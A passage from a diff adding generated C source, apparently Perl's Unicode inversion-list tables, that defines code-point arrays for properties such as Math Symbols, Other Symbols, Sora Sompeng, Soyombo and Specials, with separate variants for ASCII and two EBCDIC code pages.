+	0x1FFF,
+	0x309B,
+	0x309D,
+	0xA700,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xAB5B,
+	0xAB5C,
+	0xFBB2,
+	0xFBC2,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFFE3,
+	0xFFE4,
+	0x1F3FB,
+	0x1F400
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SM_invlist[] = { /* for ASCII/Latin1 */
+	129,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B,
+	0x2C,
+	0x3C,
+	0x3F,
+	0x7C,
+	0x7D,
+	0x7E,
+	0x7F,
+	0xAC,
+	0xAD,
+	0xB1,
+	0xB2,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x3F6,
+	0x3F7,
+	0x606,
+	0x609,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x207A,
+	0x207D,
+	0x208A,
+	0x208D,
+	0x2118,
+	0x2119,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x2190,
+	0x2195,
+	0x219A,
+	0x219C,
+	0x21A0,
+	0x21A1,
+	0x21A3,
+	0x21A4,
+	0x21A6,
+	0x21A7,
+	0x21AE,
+	0x21AF,
+	0x21CE,
+	0x21D0,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21F4,
+	0x2300,
+	0x2320,
+	0x2322,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B4,
+	0x23DC,
+	0x23E2,
+	0x25B7,
+	0x25B8,
+	0x25C1,
+	0x25C2,
+	0x25F8,
+	0x2600,
+	0x266F,
+	0x2670,
+	0x27C0,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2800,
+	0x2900,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0xFB29,
+	0xFB2A,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE67,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE2,
+	0xFFE3,
+	0xFFE9,
+	0xFFED,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1EEF0,
+	0x1EEF2
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SM_invlist[] = { /* for EBCDIC 1047 */
+	131,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x6E,
+	0x6F,
+	0x7E,
+	0x7F,
+	0x8F,
+	0x90,
+	0xA1,
+	0xA2,
+	0xB0,
+	0xB1,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x3F6,
+	0x3F7,
+	0x606,
+	0x609,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x207A,
+	0x207D,
+	0x208A,
+	0x208D,
+	0x2118,
+	0x2119,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x2190,
+	0x2195,
+	0x219A,
+	0x219C,
+	0x21A0,
+	0x21A1,
+	0x21A3,
+	0x21A4,
+	0x21A6,
+	0x21A7,
+	0x21AE,
+	0x21AF,
+	0x21CE,
+	0x21D0,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21F4,
+	0x2300,
+	0x2320,
+	0x2322,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B4,
+	0x23DC,
+	0x23E2,
+	0x25B7,
+	0x25B8,
+	0x25C1,
+	0x25C2,
+	0x25F8,
+	0x2600,
+	0x266F,
+	0x2670,
+	0x27C0,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2800,
+	0x2900,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0xFB29,
+	0xFB2A,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE67,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE2,
+	0xFFE3,
+	0xFFE9,
+	0xFFED,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1EEF0,
+	0x1EEF2
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SM_invlist[] = { /* for EBCDIC 037 */
+	131,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x5F,
+	0x60,
+	0x6E,
+	0x6F,
+	0x7E,
+	0x7F,
+	0x8F,
+	0x90,
+	0xA1,
+	0xA2,
+	0xBF,
+	0xC0,
+	0xE1,
+	0xE2,
+	0x3F6,
+	0x3F7,
+	0x606,
+	0x609,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x207A,
+	0x207D,
+	0x208A,
+	0x208D,
+	0x2118,
+	0x2119,
+	0x2140,
+	0x2145,
+	0x214B,
+	0x214C,
+	0x2190,
+	0x2195,
+	0x219A,
+	0x219C,
+	0x21A0,
+	0x21A1,
+	0x21A3,
+	0x21A4,
+	0x21A6,
+	0x21A7,
+	0x21AE,
+	0x21AF,
+	0x21CE,
+	0x21D0,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21F4,
+	0x2300,
+	0x2320,
+	0x2322,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B4,
+	0x23DC,
+	0x23E2,
+	0x25B7,
+	0x25B8,
+	0x25C1,
+	0x25C2,
+	0x25F8,
+	0x2600,
+	0x266F,
+	0x2670,
+	0x27C0,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2800,
+	0x2900,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0xFB29,
+	0xFB2A,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE67,
+	0xFF0B,
+	0xFF0C,
+	0xFF1C,
+	0xFF1F,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFFE2,
+	0xFFE3,
+	0xFFE9,
+	0xFFED,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1EEF0,
+	0x1EEF2
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SMALLFORMS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFE50,
+	0xFE70
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SO_invlist[] = { /* for ASCII/Latin1 */
+	347,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA6,
+	0xA7,
+	0xA9,
+	0xAA,
+	0xAE,
+	0xAF,
+	0xB0,
+	0xB1,
+	0x482,
+	0x483,
+	0x58D,
+	0x58F,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x7F6,
+	0x7F7,
+	0x9FA,
+	0x9FB,
+	0xB70,
+	0xB71,
+	0xBF3,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC7F,
+	0xC80,
+	0xD4F,
+	0xD50,
+	0xD79,
+	0xD7A,
+	0xF01,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0x109E,
+	0x10A0,
+	0x1390,
+	0x139A,
+	0x1940,
+	0x1941,
+	0x19DE,
+	0x1A00,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x214A,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x2150,
+	0x218A,
+	0x218C,
+	0x2195,
+	0x219A,
+	0x219C,
+	0x21A0,
+	0x21A1,
+	0x21A3,
+	0x21A4,
+	0x21A6,
+	0x21A7,
+	0x21AE,
+	0x21AF,
+	0x21CE,
+	0x21D0,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21F4,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x2329,
+	0x232B,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B4,
+	0x23DC,
+	0x23E2,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x25B7,
+	0x25B8,
+	0x25C1,
+	0x25C2,
+	0x25F8,
+	0x2600,
+	0x266F,
+	0x2670,
+	0x2768,
+	0x2794,
+	0x27C0,
+	0x2800,
+	0x2900,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3038,
+	0x303E,
+	0x3040,
+	0x3190,
+	0x3192,
+	0x3196,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3200,
+	0x321F,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA828,
+	0xA82C,
+	0xA836,
+	0xA838,
+	0xA839,
+	0xA83A,
+	0xAA77,
+	0xAA7A,
+	0xFDFD,
+	0xFDFE,
+	0xFFE4,
+	0xFFE5,
+	0xFFE8,
+	0xFFE9,
+	0xFFED,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10137,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10877,
+	0x10879,
+	0x10AC8,
+	0x10AC9,
+	0x1173F,
+	0x11740,
+	0x16B3C,
+	0x16B40,
+	0x16B45,
+	0x16B46,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F3FB,
+	0x1F400,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SO_invlist[] = { /* for EBCDIC 1047 */
+	347,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6A,
+	0x6B,
+	0x90,
+	0x91,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB5,
+	0x482,
+	0x483,
+	0x58D,
+	0x58F,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x7F6,
+	0x7F7,
+	0x9FA,
+	0x9FB,
+	0xB70,
+	0xB71,
+	0xBF3,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC7F,
+	0xC80,
+	0xD4F,
+	0xD50,
+	0xD79,
+	0xD7A,
+	0xF01,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0x109E,
+	0x10A0,
+	0x1390,
+	0x139A,
+	0x1940,
+	0x1941,
+	0x19DE,
+	0x1A00,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x214A,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x2150,
+	0x218A,
+	0x218C,
+	0x2195,
+	0x219A,
+	0x219C,
+	0x21A0,
+	0x21A1,
+	0x21A3,
+	0x21A4,
+	0x21A6,
+	0x21A7,
+	0x21AE,
+	0x21AF,
+	0x21CE,
+	0x21D0,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21F4,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x2329,
+	0x232B,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B4,
+	0x23DC,
+	0x23E2,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x25B7,
+	0x25B8,
+	0x25C1,
+	0x25C2,
+	0x25F8,
+	0x2600,
+	0x266F,
+	0x2670,
+	0x2768,
+	0x2794,
+	0x27C0,
+	0x2800,
+	0x2900,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3038,
+	0x303E,
+	0x3040,
+	0x3190,
+	0x3192,
+	0x3196,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3200,
+	0x321F,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA828,
+	0xA82C,
+	0xA836,
+	0xA838,
+	0xA839,
+	0xA83A,
+	0xAA77,
+	0xAA7A,
+	0xFDFD,
+	0xFDFE,
+	0xFFE4,
+	0xFFE5,
+	0xFFE8,
+	0xFFE9,
+	0xFFED,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10137,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10877,
+	0x10879,
+	0x10AC8,
+	0x10AC9,
+	0x1173F,
+	0x11740,
+	0x16B3C,
+	0x16B40,
+	0x16B45,
+	0x16B46,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F3FB,
+	0x1F400,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SO_invlist[] = { /* for EBCDIC 037 */
+	347,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6A,
+	0x6B,
+	0x90,
+	0x91,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB5,
+	0x482,
+	0x483,
+	0x58D,
+	0x58F,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x7F6,
+	0x7F7,
+	0x9FA,
+	0x9FB,
+	0xB70,
+	0xB71,
+	0xBF3,
+	0xBF9,
+	0xBFA,
+	0xBFB,
+	0xC7F,
+	0xC80,
+	0xD4F,
+	0xD50,
+	0xD79,
+	0xD7A,
+	0xF01,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0x109E,
+	0x10A0,
+	0x1390,
+	0x139A,
+	0x1940,
+	0x1941,
+	0x19DE,
+	0x1A00,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x214A,
+	0x214B,
+	0x214C,
+	0x214E,
+	0x214F,
+	0x2150,
+	0x218A,
+	0x218C,
+	0x2195,
+	0x219A,
+	0x219C,
+	0x21A0,
+	0x21A1,
+	0x21A3,
+	0x21A4,
+	0x21A6,
+	0x21A7,
+	0x21AE,
+	0x21AF,
+	0x21CE,
+	0x21D0,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21F4,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x2329,
+	0x232B,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B4,
+	0x23DC,
+	0x23E2,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x25B7,
+	0x25B8,
+	0x25C1,
+	0x25C2,
+	0x25F8,
+	0x2600,
+	0x266F,
+	0x2670,
+	0x2768,
+	0x2794,
+	0x27C0,
+	0x2800,
+	0x2900,
+	0x2B00,
+	0x2B30,
+	0x2B45,
+	0x2B47,
+	0x2B4D,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3038,
+	0x303E,
+	0x3040,
+	0x3190,
+	0x3192,
+	0x3196,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3200,
+	0x321F,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA828,
+	0xA82C,
+	0xA836,
+	0xA838,
+	0xA839,
+	0xA83A,
+	0xAA77,
+	0xAA7A,
+	0xFDFD,
+	0xFDFE,
+	0xFFE4,
+	0xFFE5,
+	0xFFE8,
+	0xFFE9,
+	0xFFED,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10137,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10877,
+	0x10879,
+	0x10AC8,
+	0x10AC9,
+	0x1173F,
+	0x11740,
+	0x16B3C,
+	0x16B40,
+	0x16B45,
+	0x16B46,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F3FB,
+	0x1F400,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SORA_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA
+};
+
+static const UV PL_SOYO_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3
+};
+
+static const UV PL_SPECIALS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFFF0,
+	0x10000
+};
+
